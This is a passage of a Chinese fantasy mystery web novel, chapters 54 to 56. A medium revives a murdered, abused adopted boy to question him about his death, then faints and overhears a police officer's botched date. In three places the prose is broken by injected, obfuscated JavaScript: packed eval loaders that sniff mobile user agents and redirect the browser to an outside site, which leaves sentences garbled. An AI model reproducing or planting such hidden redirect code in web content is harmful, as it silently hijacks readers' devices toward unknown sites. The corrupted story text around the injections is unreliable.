值得注意的是,男性在女性身上烙下“婚契”的方法至今不明,故无法拒绝和防范,一旦被烙上,除非对方自愿收回,否则会像鬼一样地跟着承接方一辈子——但它就是具有法律效力。这一点提醒着每个女性必须洁身自好、不要……哎呀,直说好了,不要被□□;然而在目无法纪的人眼中,它也可以变成某种情趣:到了社会风气更加宽容的公民时代,出现了一个以收集情人的婚契为乐但誓死不婚的女性群体,得名“女祭司”——提到这三个字大家都要捂鼻子,就和现在的豆子一样。这就带来了一个新问题:为显示尊敬和芬芳,人们今后该如何称呼七祭司中的女性?别担心,不是还有好听的个人称号嘛,跟我们的位面从此只在影视剧中称汉文帝的长女为“馆陶公主”是一个道理。 甩掉这些“你算老几”的想法,阿邱追问道:“不会吧,她逼着你把婚契交给她?” 要知道无论哪个种族的男性可都是一人一契制的啊,设计得比飞笺器的短码还要严谨,要是那个爱丽丝敢这么干,坊间流传的义子变娈童论不就彻底坐实了? 阿邱会这么想,并不是为了和大家一起审判爱丽丝,只是从5W1H的思维模式出发,考虑到一个最基本的问题:HOW? 刚才读到的记忆里,有一个疑点她始终没能消化:塔桥·蜜丝缇对自己身份的认知,为什么是年轻版的安德烈·蜜丝缇? 如果这个观念是被他人灌输的,看过死者照片的阿邱觉得,首先,安德烈对自己的美化已经到了需要去看病的程度…… 可塔桥的脑内就是坚定不移地认为,他即安德烈的翻版,或者说他生命的延续。 即便是在被翻版的自己殴打、或是压在身下、或被他灌水扮孕妇时,塔桥的身份认知也从不曾动摇过。 那就很奇怪了,通报上的关系是“义子”,说明他和这家人根本没有血缘关系。 他们到底是怎么找上你的呢,塔桥? 常规的思路走不通,阿邱换个角度,开始思考“材质”方面的问题。 第一个画面并不跟娜塔莎一样,是父亲掀开襁褓时失望的脸。 而是……胃里又开始翻涌……一双肮脏的手伸到我面前,带来一丝光亮;接着掀开了幕布材质的我的被子、抓住我已经是少年的手臂、带我走出了那道围墙,也就是一只精致的、基底是杉木的、厚厚涂上了一层金箔的、散发着松节油气味的—— 油画框? 66. 第五十四章 停止思考 “不是的,她要求我把婚契从她身上撤回……” 阿邱又是往后一仰:“什么!” 新鲜的记忆刚刚消化到“我”走进终止式临时指挥所的那一幕,还没赶上乘车,可是重新检索过往的记忆,哪有上交婚契这一段? 天不生阿邱,人们很难在一个死去的人脸上看到困惑:“可是为什么?我不明白。在古代,把婚契上交给母亲才代表我们是一家人不是吗?” “你被骗了!”阿邱冲口而出。她强压快要淹没她的眩晕,硬要把这件事向一个已经没有未来的人掰扯清楚:“古代是古代,现在的婚契在道德和法律上都只应流向你的伴侣,拿着古代的标准占有你的配偶选择权,又不给你古代的好处,那不就是诈骗吗?” 看她生气,塔桥害怕起来:“是、是……所以母亲要我赶紧收回它,因为父亲难得有这么大块时间不在我们两个身边……” 赶时间的豆子警官挑重点问:“你是什么时候开始有逃离的想法的?” 塔桥摸摸自己有了些棱角的下颌:“父亲说我长得太快,合唱团都把我开除了,所以他也越来越不喜欢我了,要是我还敢不听话,他就要……找人取代我。我觉得很难过,就求他,他说他刚换了新地方,工作很忙,要是我再敢提这种孩子气的要求,他绝对会说到做到——就在我们落脚那天,我递火给他,火柴被风吹灭了,他认为是我故意带来噩兆破坏他的生意,当天就做了决定……但他又不希望我被别人捡走,所以他打算先让我不能被别人得到……再丢掉。” 阿邱气愤地一拍大腿:安德烈·蜜丝缇,你个老登死得好哇! 在她把这个想法说出口前,豆子赶忙开启下一篇章:“怪不得你要来求我们。你父亲是卖药材的对吧?你知道他平时跟哪些人有生意往来吗?” 塔桥像小孩子一样挠着头道:“都是我不认识的叔叔伯伯……” 这不废话嘛。阿邱小声补充:“就是说,能接触到白金币吗?” “白金币是什么?” “这你都不知道?气死我了,老东西把你关成啥样了都!” 豆子用眼神制止阿邱,对塔桥道:“你继续说案发当天的事。” “刚才说到哪了?哦,婚契。我试了好几次都没有成功撤回,母亲也对我很失望,我不敢再跟她讲话了,就回到房间做今天的功课。到了半夜,父亲还没回来,母亲说不用出去找他,自己先睡下了。我不放心父亲,所以我……好吧,其实我是想试着再逃走一次。又等了一会,等到窗外到处都看不见灯光了,我就一个人翻墙出去,走到一家礼品店的橱窗外,突然闻到的父亲的气味……” “鼻子这么灵的吗?” “不是的,因为我很爱父亲,所以才能闻到他的气味,别人的气味我闻不到的。我就顺着那个气味走到了一条很窄、很黑的街道——” “你不是要逃命吗?怎么闻着味就去了?”阿邱颇有些恨铁不成钢。 塔桥不好意思地说:“我生下来就是这样的。” 哪有人一生下来就是别人挂件的?那个画框绝对大有问题!阿邱还想继续打听,看看豆子的脸色,只得暂且按下。 “父亲在一栋民宅里面,我爬窗户进去,看到他趴在床上休息,身旁是一个……呃……” “脱衣舞男?” “穿成那样的就是脱衣舞男吗?”塔桥厌恶地扁扁嘴,“那个脱衣舞男正在推我父亲,好像是某种特别按摩手法,平时在家,为父亲按摩是我的工作,因为这个,我的脑子里一瞬间充满了奇怪的想法,我不想被抛弃,不想被取代,所以我像着了魔一样拿起桌上的烛台,刺向我父亲——” 阿邱倒吸一口冷气:“你杀的?!” “毒死的。”豆子提醒道。 “我骑到父亲身上,父亲刚好醒来,夺下烛台、推开我,他力气总是很大的。然后他下了床,抓起我的衣领,把我丢到了屋子的另一边。我掉下来的时候,撞在了一个柜角上。”塔桥又嘎巴嘎巴地伸手摸向后脑勺,“撞得我好痛,当时眼前就黑了。” 阿邱再次倒吸冷气:“什么,他杀的?” 豆子再次提醒:“毒死的!” “后来我的意识模模糊糊的,一会是父亲来摸我的脖子,一会是他要来瓶子,往我嘴里灌了很苦的酒……最后,在他跟那个脱衣舞男商量把我藏在什么地方的时候,我恢复了一点视力,看到我旁边的窗帘里藏了一个人……” 阿邱和豆子满脸震惊地互相对视——其实只有阿邱一个人满脸震惊。她震惊地倒吸了第三口冷气:“快快,详细描述那人的长相!” 塔桥努力回忆了一下,懊恼道:“就——我坐在地上看着挺高的,剩下的没来得及细看,应该是个男人吧,手里还有点火光,像是刚点了烟……实在抱歉,我的记忆到这里就结束了。” “噢……”阿邱难过地叹了一声。抹掉眼泪,她又发现漏洞:“你不是在街口被杀的吗?” 豆子递来手帕:“是在街口发现了尸体,为免引起慌乱,案情通报故意没写明白。” 他好像不愿放过任何一个踩森林戍卫队一脚的机会似的,真是个好弟兄。阿邱有点后怕地想着,会不会就是因为信任“正式军”,老库奇才心甘情愿地任由别人冤枉自己…… 二人一时都说不出话。塔桥问:“警官和邱珊,你们还有什么要问我的吗?” 阿邱偷瞄一眼豆子,他正在低头思索,应该是在整理刚才的线索,于是拿出情商修炼手册,飞快地翻到迷你平面鸫那一页,问塔桥:“见过这个人吗?” 塔桥凑过去看看,迷惑道:“这个人怎么了?他是画上的人?” “当然不是!你仔细看、仔细回忆,虽然你被合唱团开除了,还不幸被害死了,但如果你能帮我提供这个人线索,你就还是很棒的塔桥!” 身边阴恻恻地传来一句:“刚才见了典狱长你怎么不打听?” “典狱长?”阿邱头皮一紧:“那是能信任的人吗?鸫本来就被你们的好队长印在通缉令上,要是权朱也看中了他的脸,非要逮回塔里自己玩,我可就没有未来了!” “……‘未来’啊。” 被阿邱打了一针鸡血,被信任的塔桥把全身的力气汇聚在瞳孔上,脖子向前探,仿佛把本子盯出个洞来—— 一分钟后,终是一无所获。 阿邱遗憾地收回情商修炼手册,勉强笑道:“我说着玩的,你已经为这起疑案提供了很厉害的线索,虽然最后没看清凶手,但你起码替佐伊·约翰逊这个无辜的人平反了,对不对?” 豆子非要在这时候说风凉话:“就他这个混乱的记忆,凶手是谁还不能确定,平反也是八字没一撇的事。” 阿邱捅他一肘:“别听他的,你就是很棒的塔桥,到死都拥有一颗独立的脑袋!” 得到这句肉麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176627|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的评价,塔桥眼中有了些许释然,用微笑扯平了嘴角,徐徐转动脖子,安静地看向眼前。 阿邱心道不好。 ——他停止了思考。 以往帮死者重返人间时,如果不是寿终正寝的,对方多半会请求阿邱带着他“到处转一转”,以弥补走得太匆忙的遗憾。 塔桥的尸身穿戴整齐,验尸痕迹也尽可能地遮住了——人们通常不会像这样善待一具身份低微的尸体,但美少年的外表为他赢取这份细心。死于非命已经够可怜的了,阿邱一般都会满足“到处转转”的要求,本来她也是这么打算的:为了不耽误豆子的约会,接下来的时间里,把塔桥的脸遮起来,带他到背阴处鬼鬼祟祟地逛一上午应该够了,在此期间逐步抽走魔法,还要留点时间给塔桥适应“重新死了”,迎来送走都必须保持平静,否则一个失控,把他变成阿邱的发疯傀儡可就不好了——那是招魂术的弊端,预备救世主可不会容忍这样的局面发生! …… 却没想到塔桥在得到夸奖的下一秒就离开了,走得干脆利落,仿佛对这个世界半点留恋都没有,就算阿邱再叫醒他一回,他也永远不会再用自己的脑子说话了。 原本还在为“婚契会在人死后消失,爱丽丝女士最后的烦恼也没有啦”松一口气,没能第一时间捕捉到他的离去,阿邱的心中一片荒凉。 塔桥说:“我的心中一片荒凉。” 结果也不容乐观,杀人犯完全有可能是—— 塔桥说:“结果也不容乐观,杀人犯居然真是苏……” 阿邱一惊,急忙在暗中撤走魔法,眼看着塔桥栽下去,欲盖弥彰地说:“哎呀,到点了!” 豆子为这个变故惊起,前去探了塔桥的鼻息,狐疑道:“一上午不是不够吗?怎么刚说两句就不行了?” 阿邱躲着他的目光挠挠太阳穴:“我手生了。” “欠缺计划性。你现在回去,说不定还赶得上报刊亭开门。” 阿邱怎会听不出,这句批评实则是在表达“我不信”。 她接下来的话纯属病急乱投医,理性上却也是摸透了豆子警官心中的排序、据此总结出来的话术,副作用巨大,但一定很有疗效:“唉,你非要拆穿!我会那么说,还不是不想让你去约会嘛!难得雨过天晴了,领导也不在,你就不能跟我玩吗?” 果然,尴尬会让豆子警官停止思考。他转身就走:“该问的都问到了,我拖容器过来,你负责扛他进去。” 一颗螺丝钉也不少地归还了冰柜,豆子走出太平间——退回太平间,按着阿邱的脑袋蹲下,等打着哈欠的夜班护士走过门外,再拉她出去。 “好了,你在这等着我。”摸回住院部,他指着一条长椅道,“我先去办出院手续。” 阿邱抚着裙子坐下去,“你居然还没办手续?哦确实,这么早谁给你办……要不别办了,我看你精神还没恢复——” “不用你管。”尴尬不仅很有冲击力,看起来持久性也很强。为了用力无视阿邱真诚的脸,豆子生硬地转移话题:“对了,什么东西能代表塔城狱警的身份?他们出门不爱穿制服,徽章可以吗?” 老提狱警干嘛!害得阿邱又开始腿软,腿软之外还有巨浪般的眩晕汹涌而来——她确实感觉有海浪拍来,力道甚大,拍得她打着转掉下悬崖;悬崖哪有长椅高,最后的耳鸣带走了最后的视力,和意识一起摔碎在梆硬的地板砖上。 67. 第五十五章 约会 几点钟了? 豆子警官成功约上会了吗?有没有借到厉害的劳伦斯牌飞笺器呢? 把心思藏好一点应该能借到的吧。但他不擅长这项工作,那就要看露娜的心情了。 阿邱就不一样了,她的飞笺器来自离开豆子不到一天就被他思念成疾乃至委身敌营以爱情换取资源……的那个人,嗨呀真没劲!她还要看看脸色的人的脸色,正式工作没有,能力不被看见,讲话没人听,地位更是低中低,就别操心那帮踩在自己头上的人了吧。 …… 干嘛这么想,这是在攀比什么?她偏要操心,还要祝福这对男女牵手成功。豆子警官不能把自己困在“粉丝”的身份上,他应该通过谈恋爱、培养兴趣爱好、和很多奇怪的人交朋友接触到更广阔的人生才对,梦想是一个具体的人可怎么行?非说行,信奉克洛诺斯一神教也是不行的,克洛诺斯就像定时炸弹一样不稳定,导致豆子也总是很焦躁;焦躁还被这颗闭目塞听、计时声却很吵闹的炸弹定性为“随和”,形成一个逼死人的闭环,让豆子不在乎除偶像以外的任何人,接着就是不问意见地越过他人边界,被恐惧、被疏远,虽然因为生死之交看似和谁变得亲近,但身份定位仍旧混乱——可能是原因之一,心的距离也更远了。 温润如玉、高大威猛的鸫肯定不会跟他似的,他和阿邱的交际一定会是阶段分明的,这代表人的成熟。唔,现在想想,豆子警官唯一的随和之处就是他对生死的态度……尤其是对别人的生死!塔桥,一个死去的人,都被阿邱从冥界拉回人间了诶,亲眼目睹这样伟大的场面,豆子不该惊喜到厥过去,醒来后围着阿邱载歌载舞、宣称从此改信邱珊教吗?结果他只是小小地惊叹一句就该干什么干什么去了——都是因为他把全部注意力放在一个具体的人身上,人注意力太集中就会失去很多奇怪的朋友,望广大镇民引以为戒。 不在乎他人的生死,对自己肯定也一样的,只是稍微降降级,痛苦还得他自己承受。既然焦躁只在思考时发生,人死脑停,那么死了也没事,所以在活着的时候从不爱惜尊严和生命,然后梦想就会变成一个具体的人,如此看来,改信邱珊教也不妥,教主会本着拯救他的目的,劝他载歌载舞地回到世俗中去——世俗是公民时代带给人类最进步的礼物,因为世俗的宇宙没有中心,就算有,那也只能是豆子他自己。 那么,约会一定要成功啊!快点快点,赶紧成为幸福的一对吧,婚礼上可以不花钱请阿邱当花童,速度快的话,夏天就要办婚礼了,撒花也应季改成撒雪花……雪花太冷,那就,冰橘子水和冰西瓜汁!洒在身上,每个人都变得黏糊糊的,人与人与视线粘合在一起,大家就都不会死了…… 开玩笑的。实在戒断不了集中精力地爱人,也听不进去阿邱的劝,豆子还可以学习Dr.D.P,把个人扩大到一整个群体,这样选择多一些,逃生通道也宽一些…… 咦?这么说来,Dr.D.P也在旧矿山镇?好想去要签名……阿邱准备每天都去赤焰小酒馆蹲一蹲,万一呢。 Dr.D.P来去如风,今天不去蹲,明天人就要奔赴下一场约会了,为什么她还躺在这里? ……但首先,这里是哪里? 头顶传来对话声。 “我没有不守约。”这是豆子在说,“但你也看到邱小姐的情况了,她家里没人扛事,我是前辈,我走不开。” “那改日再约为什么不行?”这是露娜压抑着怒火的声音。 “改日再约就……没有现在的气氛了。” 什么啊?这是在说什么啊?阿邱怎么梦到哪段就梦到哪段啊? “气氛。”露娜冷嗤的气息让床顶的康复风铃“叮当”一响,“你是指在医院的病房、一个病人的病床旁边约会的气氛?” 答案就在题面里,露娜连续说了三个“病”字,怎会看不出有此等主张的人,必定是…… “不觉得很有独创性吗?”豆子毫不羞愧地说,“你适应一下,这边坐。双方都没意见,那我们直接开始吧。先从哪里说起?互相介绍工作情况?” 到底谁有资格定义气氛啊?他又是哪只耳朵听到两边都没意见的?阿邱闭着眼都知道露娜已经气得说不出话了,因为风铃一直在响。 ——好哇,醒得真是时候哇,再晚一点就要赶不上这场约会的开头啦,那么谁来刷新这个世界的怪人怪事排行榜呢哈哈哈……得了吧。阿邱宁愿这是一场梦,她不敢睁开眼睛直面现实,只剩拼命控制呼吸的速度以接着装死,一旦有人发现她醒了、醒在别人花前月下的约会现场,她的死法一定会打破洱鸾大陆的先例,而尴尬杀人也将不再是一种设想,让我们感谢豆子警官。 豆子那边呢,多半以为改换话术就能哄好了人,接着用他随意又理所当然的语气说道:“好,你也很没空,那我们直接进入正题。你说,那个异端为什么不让我们继续调查双尸案?” “正题”竟是聊工作? 还在气头上的露娜自然给出了更合逻辑的答案:“他可能觉得,这么复杂的案子需要脑子正常一些的调查员。” “比如,森林戍卫队?”阿邱明显听得出豆子是假装不知道自己被骂了,“确实,就连搬运工都足足派出了五个人,不知道的还以为是要上门逮捕重大嫌疑尸呢……劳伦斯小姐,你想喝点什么?” 这是什么聊天技巧?医院还可以点单?每个疑问背后的真相都足以把豆子警官打飞到天边了。 ——也太没sense了!就知道空口夸权朱帅,怎么不知道向他学习呢?注意力过于集中的人很难产生这层意识,阿邱在心里为他默哀,而露娜也进入了气极反笑的境界:“吊瓶里的药你留着自己喝吧,我有事先走了,就当我们今天从没见过面。” “可以。”一个踢开椅子的响动,“飞笺器借我。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186588|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >…… 完了呀豆子警官,你的生命到头了! 露娜和手心正在沁出汗的阿邱持相同意见:“你好歹多演五分钟呢?” 她的潜台词绝对是“你连五分钟都不想多活了吗?” “五分钟后你都上车了吧,你要走我也拦不住啊,但我不会追出去的,不然回头一看邱小姐断气了怎么办?” “……去死吧!” “请注意你的言辞。” “我在说你。” “这样啊,很久没被人如此直白地祝福过了……”一阵王八搔头的动静,“也并不久,上回不也是你么。” 约会进入到了白热化阶段——不知道别人的约会有没有这样的阶段。 阿邱只恨不能原地消失,让豆子和露娜的约会现场只剩一张空的病床在打吊针。可惜天不遂人愿,天总在最坏的情况下制造最恶毒的笑话。就在两人对着空气沉默较劲时,好死不死,阿邱的肚子响了。 在那个氛围中,具体而言,是“发出了一声惊天动地的异响”,宛如一阵飓风刮进了巨大的史前山洞,在山洞尽头劈下一道惊雷,把恐龙打成了粉碎性骨折。 ==== 唯一的安慰是,浑身像有蚂蚁在爬的不止阿邱一个。 扶她坐起来,露娜连跟她对话的力气都没有了。如果豆子没有看向这边,阿邱一定会蛐蛐几句他的坏话来缓和气氛,可豆子是谁,满脑子只有解决问题的好警官、阿邱死后《情商修炼手册》的第一顺位继承人,见状还要上前一步,热心地邀约:“走,请你们两个吃饭去。” 露娜发出彻底没招了的叹气:“下次吧,你公事优先。” 豆子往她衣襟口袋里瞄了一眼,不死心地加码:“去不冻港小船屋,想吃什么随便点。” “不用了!” “不用了!” 露娜和阿邱齐声拒绝。 阿邱哆哆嗦嗦地掀被子下床:“躺了一会我觉得好多了,你们快去吧我这就坐车回家……” “你省省吧!”恢复成原来水平的脾气先是冲着阿邱发的,随后露娜才把眼睛瞥向豆子:“我向来不爱勉强人,等你全天候都有空了再来找我,我要是心情好呢,说不定什么都会答应你的哦。” 造物主看了这一幕都要绝望闭眼,然后判处豆子终生孤寂——究竟怎么闹成这样的,两边都觉得自己才是该走的那个。 阴阳怪气完了,由于身体最健康,露娜率先离开病房——还怪符合医院逻辑的。豆子的魂短暂地跟着她的背影……或者她藏在身上的飞笺器飘走了一会,等她消失在走廊上,立即收起那副试图讨好又不想太费力的嘴脸,转而审问阿邱: “你怎么回事?” 阿邱还没反应过来:“怪我啊?又不是我非要插进来的!” “我是说你晕倒的事。”豆子用脚拨开椅子,坐回她床边,“为什么不早说?” 68. 第五十六章 怪物(1) “为什么不早说?” 感受到关怀之余,阿邱有点被豆子的脸色吓住了,瑟缩着回答:“这个,世事难料嘛……” “早知道那个‘噼里啪啦,快快复活’的魔法这么消耗你,我一开始就会驳回队长的提案。” 阿邱拒不接受这种儿童剧风味的技能命名,也据此察觉到豆子不是在对她生气,精神一放松,捍卫“帅”的勇气又回到了身体里:“什么鬼,才不叫那个名字!” 她看看写有“葡萄糖”的吊瓶,找到了撒谎的素材:“还有,那个,我不是被消耗了,大概就是没吃早饭有点低血糖罢了。” “低血糖会导致心脏停跳?” 哎? 豆子放在膝盖上的手捏了起来,大拇指搓动食指的第二关节,簌簌簌的,隔空咯吱着阿邱的耳朵。 “——在推你去抢救室的路上又恢复过来了。”他说。 “是吗……”好险,差点就要二顾太平间了。 不行,反应太平淡会显得她更像个怪物。阿邱忍住耳朵的痒,先是夸张地演绎了一番:“你是说我心脏停跳?天呐怎么会心脏停跳呢?太可怕了!我也不知道为什么这样,以前都没有这种情况的,想不到低血糖的并发症这么严重,对不起我再也不敢不吃早饭了,罗宾警官你也要记得每天吃早饭啊!”还要敛起情绪为漂在海上的克洛诺斯开脱几句:“队长可是十字城邦第一梯队的强者,当然不知道我们普通人施展魔法前是需要暖机的,特别是在很久不用它的时候……对,用进废退,我就是忘了这回事才出状况的。” 豆子皱紧了眉头审视她。好在读心术是假的,他无法从阿邱绷得笔直的脊背上看出什么,只好勉强相信了她的说辞:“我找奥菲特女士过来给你看看。” 那怎么行!能进游医队的个顶个都是上知天文下知地理的精英,像阿邱这种没有对照组的孤例,他们只消看一眼就什么都明白了——然后阿邱就被押走了,押送队的队首和队尾各有一只大喇叭,一只负责重复她以前的名字,另一只紧跟在后面呐喊“罪魁祸首”,刚好权朱就在镇上,还省去了发布通缉令的麻烦。 所以她把手摆出了残影:“千万别!我是说,游医队难得来一趟,她那边肯定有很多人在排队,我躺躺就好了,真的真的,不信你测我两道数学题,或者我去墙角倒立给你看……别瞪啦,我真的没事,今后我每天都勤加练习,保证下次做好准备再来。” 豆子从一堆漏洞中指出了最明显的那个:“怎么勤加练习?天天上太平间偷冰柜?” “在老鼠蟑螂的身上练习也是一样的……” “欠缺计划性。” 这句才是不含杂质的实打实的批评。 阿邱撑起斗大的一个胆子,用蹬鼻子上脸的方式加固他的确信:“你才欠缺计划性!从没旁听过这么垃圾的约会,我也是开了眼了!如果换成一个坏人躺在这里,他的手上已经有你的把柄了知道吗?” 豆子如她所愿别开了眼。心虚是吧,心虚就说明他不会追究下去,逐渐掌握了豆子警官使用指南的阿邱心里更有底了,趁势夺下一锤定音权:“算了算了,今天大家都倒霉,我晕倒了,你也约会失败了,我们还是早点离开这个晦气地方吧——” “哪有失败?她不都约好下次了么。” 心虚的原因竟不是约会太垃圾,说出这句话时,豆子眼中的笃定毫不虚假。 “那么空泛的说法你还当真了啊?” 他当真了。还一本正经地口算:“周五不行、周六不行……全天候有空……腾到周日吧,明天就去。” 还是不要打破少男的幻想了。想起这个残局某种程度上也是自己造成的……阿邱体贴地关怀了一番豆子的钱包,得知不过夜就不产生住院费用、静脉里新来的葡萄糖也是他用医保刷的,良心才稍微好受了一点。 “没什么事的话我先回家了……” “别走,先去吃饭。” 虽然人不对,饱受绅士文化荼毒的豆子仍要坚持请客:“你不是饿晕的吗?” “那也不用——” “我也饿了。” “……我晕着的时候你倒是自己去吃点啊!” “我还要准备约会,哪有空。” 表现成那样居然是饿着肚子准备过的结果吗…… 不冻港小船屋。 “你说什么?!” 嘴里塞满了“贵店最快出餐”的雪蟹蛋炒饭,阿邱得知了一个噎人的噩耗:“问到了那么多真相,结果全都不能拿来当证据?” “调查方法不能公开、没有实物存据,现场又只有我们两个,都不是具备资质的审讯官,什么东西能构成具有法律效力的证据?” “那我们岂不是白忙活了?”阿邱捶着胸口把炒饭顺下去,“塔桥白‘回来’一趟,你的约会也白失败了!” 豆子倒了杯柠檬水给他:“没有那么白,至少为接下来的调查提供了方向。” “还要接着调查?是为了拿到那个什么,实物证据吗?可报纸上说佐伊·约翰逊已经抵达星罗郡了,我们能赶在开庭前还他一个清白吗?” 豆子有些诧异地扬起眉:“跟死人聊聊天就能还嫌疑犯一个清白?你把事情想得太简单了。” 阿邱把柠檬水推到一旁,打着连续的嗝质问:“这是什么意思?我们紧赶慢赶的不就是为了找出真相,替无辜的人伸张正义吗?如果最后还是约翰逊被定罪——那计划一开始的目的是什么?” “是这样的,白色邱小姐,我们重启调查,首要目的是想搞清楚一个讨人嫌的老东西想对……我们终止式做什么。” “我们终止式”。 你直接把那四个字的名字说出口又会怎样? 阿邱猛灌几口柠檬水止住打嗝,反正她也尝不出酸还是甜。 别说话,食物最重要,赶紧往嘴里塞。等炒饭见了底,红酒鹅肝、三文鱼甜虾刺身大拼盘和龙虾舰队螺丝面也端上来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192166|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆子张罗着芥末和青柠汁,心情竟还很不错的样子:“吃吧吃吧,这些都是增加体力防止晕倒的优质蛋白质。” 等待蘸料的空当没东西塞住嘴巴,阿邱一时没憋住话:“其实你可以不用那么真诚的。” 豆子手上一顿:“又怎么了?” “假装干什么都是为了伸张正义,骗我高高兴兴地继续给你们打工不好吗?” “打工啊……”豆子想起什么:“哦,你的薪水。这顿饭就当日结了,可以吗?” 阿邱拍着桌子站起来,声如洪钟地大喝道: “我对你们太失望了!双尸案真相不明,小剧场的那场袭击至今没给大众一个交代,结果你早上起床第一件事就是想着怎么帮你老大抢风头,抢来了风头也只是在谋取私利,这就是守护世界安宁与和平的终止式吗?好威风啊,确实值得崇拜!” ——在脑子里演完这一幕,现实中的人下人唯一的变化是涨红了脸,牙根也咬紧了些。 莫名其妙的一句话没有下文,豆子便随意地揭过去,拿起一张价目表查看:“要不要再点些别的?吃饱了你想去哪玩?” 阿邱又拍着桌子站起来:“玩你的x去吧!” ——千万不能把这句心里话说出来。驱赶了脑子里的画面,阿邱在心里默念:忍住、忍住,饭是豆子请的,晕倒了也是他照顾的,人家为了你约会都泡汤了诶,有什么坏话都不能当着他的面说。 可她实在太憋屈了,喉咙里禁不住地发出一些声响。豆子注意到了异常,眼皮子都不抬一下,保持着上位者的平静:“我知道你心里不服,但我们只是警卫队,别听队长瞎给你画饼,事实上,像终止式这样的组织,每个人服务的对象都只有自己的上级;人不能纯靠一腔热血活着,改变世界的责任也不是我们这种人能负担的。” 他意有所指地说:“你最好早点习惯,服务好了我,你也能得到奖励,就像今天这样。眼睛里容不得沙子的人从来没有好下场。” 又过了一阵,憋闷诱发的眼泪盖住了碗底,豆子烦躁地放下价目表:“说话!你是要把嘴皮咬穿吗?我知道你替那个脱衣舞男着急,毕竟你是夜之窟的女儿,但我有说过一点希望都没有吗?你要想加快进度,现成的帮手眼前就有一个。” 阿邱泪眼模糊地抬起头:“谁?” “如果徽章是唯一的身份证明——” “你说明白点。” “看看你右边口袋。” 阿邱警觉起来,暂停抽抽搭搭,摸向情商修炼手册所在的位置。这回没少东西,反倒是多了点东西。 她掏出圆圆的、水晶材质的、背后有一个别针的小物件,亲眼看到那个微缩的百臂巨人图案,魂都差点吓没了: “典狱长徽章?!你什么时候顺走的!” 不是在夸张,阿邱确实字面意思地被吓死了一会。 按着人中醒过来,她第一时间劝诫眼前的小偷王:“你爱点别的手艺行不行!” 69. 第五十六章 怪物(2) 很抱歉旅客朋友,醒来之后还是噩梦。事已至此,“拿走拿走,别放我这里!” 阿邱探过半边身子,把百臂巨人徽章远远地推回去,仿佛多在手上停留一秒,未来权朱抽在她身上的鞭痕就会多一道。 豆子可没有这种担心,随手把徽章推回去碰着她的指尖:“你的,拿好。” 阿邱的反应就像被求偶的蟑螂亲了一口,终于知行合一地拍桌子起身,抡圆了膀子、把烫手山芋投掷到它该去的地方:“你的你的!” 豆子则飞速把价目表卷成一根纸筒,用棒球接球手的标准姿势打了回去。 这场空中作战没有持续太久,如果徽章沾上了龙虾舰队面的奶油,奶油和徽章临时持有者都将面临一场灾难。 阿邱对豆子“随和”的理解到达了另一重境界。她不放弃分析这位神人的动机:“为什么这么做?跟那种人约好互不打扰有多难你知道吗?被你这么一搞,他绝对会回头来找我们的!” 根据球在哪里失分就在哪里的规则,豆子表示:“嗯,绝对会来找你的。” “你还想撇清关系?你以为权朱是谁?等他从花盆里钻出来,我把密封好的徽章拿给他一看,他立马就能一枪击毙你!” 没用的,设想出来的画面根本无法引起豆子的警惕。他不是觉得权朱帅么,那就让他们两个单独交涉好啦,顺带研讨一下有关sense的知识,阿邱只用端来点心和茶就弹跳回宿舍,用被子把头蒙起来,无论楼下如何血流成河……反正,徽章绝不能在她这边,否则旧矿山镇会爆炸的!本着维护世界安宁的目的,阿邱下了座位,蹭到豆子身旁,蛄蛹蛄蛹把他挤到墙角,闪电般地伸出手—— 这回她学乖了,把目标定为百分百很安全的右裤兜,必不能…… ——然后闪电般地缩回了手。 “为什么!”阿邱以一己之力领跑了旧矿山镇的爆炸:“你不是放在左边的吗?” 豆子淡定啜饮柠檬水:“因为便服是在店里买的,不是私人订制的。” “你倒是提醒我一声啊!” “哪位大师能算到你什么时候袭警?” 阿邱爆炸后的废墟又升起一场熊熊烈火:“明明是你先犯法的!还、还一点不脸红!” “你犯错,我为什么要脸红?” “我说这个!”阿邱凶狠地把徽章塞进他的左裤兜,结局当然是在自己的口袋里与它重逢:“够了,你这个防雨布怪物……” 她没本事把羞耻心渗透进一块防雨布里,大脑脱力地开启防御机制,从豆子警官没有门槛的可袭击性……很对,可袭击性上,联想到了另外的话题:“罗宾警官,这么冷的天,你会不会穿得太单薄了?” 的确,这几场雨中的固体含量越来越少,雨停了,气温也稍许升高了,但远远没到只穿一层裤子就能出门的程度。不戴手套还能理解成出院仓促,进店之前,豆子衬衫上的薄外套也一直在阿邱身上披着,阿邱这一路上都打了几个喷嚏,豆子警官却连一个吸鼻子声都没有。 “不是都告诉过你了吗,我不怕冷。” “希孚里亚人这么扛造?” 如果人类史上即将发生一个万年极寒地狱,最后存活下来的肯定是北城人。 